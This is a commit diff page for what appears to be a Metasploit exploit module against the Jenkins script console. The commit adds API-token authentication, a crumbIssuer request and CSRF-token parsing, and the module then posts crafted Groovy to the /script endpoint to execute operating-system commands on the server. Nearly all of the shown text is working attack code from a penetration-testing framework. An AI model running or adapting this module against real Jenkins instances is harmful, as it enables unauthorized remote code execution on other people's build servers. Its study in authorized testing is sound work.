Skip to content

Commit f4ffade

Browse files
committed
add ability to specify API token instead of password
1 parent 9d57197 commit f4ffade

File tree

1 file changed

+36
-21
lines changed

1 file changed

+36
-21
lines changed

modules/exploits/multi/http/jenkins_script_console.rb

Lines changed: 36 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,8 @@ def initialize(info = {})
1919
'Author' =>
2020
[
2121
'Spencer McIntyre',
22-
'jamcut'
22+
'jamcut',
23+
'thesubtlety'
2324
],
2425
'License' => MSF_LICENSE,
2526
'DefaultOptions' =>
@@ -50,6 +51,7 @@ def initialize(info = {})
5051
[
5152
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
5253
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
54+
OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
5355
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
5456
])
5557
end
@@ -77,6 +79,7 @@ def http_send_command(cmd, opts = {})
7779
request_parameters = {
7880
'method' => 'POST',
7981
'uri' => normalize_uri(@uri.path, 'script'),
82+
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
8083
'vars_post' =>
8184
{
8285
'script' => java_craft_runtime_exec(cmd),
@@ -151,26 +154,35 @@ def exploit
151154
@cookie = nil
152155
@crumb = nil
153156
if res.code != 200
154-
print_status('Logging in...')
155-
res = send_request_cgi({
156-
'method' => 'POST',
157-
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
158-
'vars_post' =>
159-
{
160-
'j_username' => datastore['USERNAME'],
161-
'j_password' => datastore['PASSWORD'],
162-
'Submit' => 'log in'
163-
}
164-
})
165-
166-
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
167-
fail_with(Failure::NoAccess, 'Login failed')
168-
end
169-
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
170-
@cookie = "#{sessionid}"
171-
172-
res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
173-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
157+
if datastore['API_TOKEN']
158+
print_status('Authenticating and requesting crumb...')
159+
res = send_request_cgi({
160+
'method' => 'GET',
161+
'uri' => normalize_uri(@uri.path, "crumbIssuer/api/json"),
162+
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
163+
})
164+
else
165+
print_status('Logging in...')
166+
res = send_request_cgi({
167+
'method' => 'POST',
168+
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
169+
'vars_post' =>
170+
{
171+
'j_username' => datastore['USERNAME'],
172+
'j_password' => datastore['PASSWORD'],
173+
'Submit' => 'log in'
174+
}
175+
})
176+
177+
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
178+
fail_with(Failure::NoAccess, 'Login failed')
179+
end
180+
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
181+
@cookie = "#{sessionid}"
182+
183+
res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
184+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
185+
end
174186
else
175187
print_status('No authentication required, skipping login...')
176188
end
@@ -181,6 +193,9 @@ def exploit
181193
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/
182194
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
183195
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
196+
elsif res.body =~ /"crumb":"([a-z0-9]*)"/
197+
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
198+
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
184199
end
185200

186201
case target['Platform']

0 commit comments

Comments
 (0)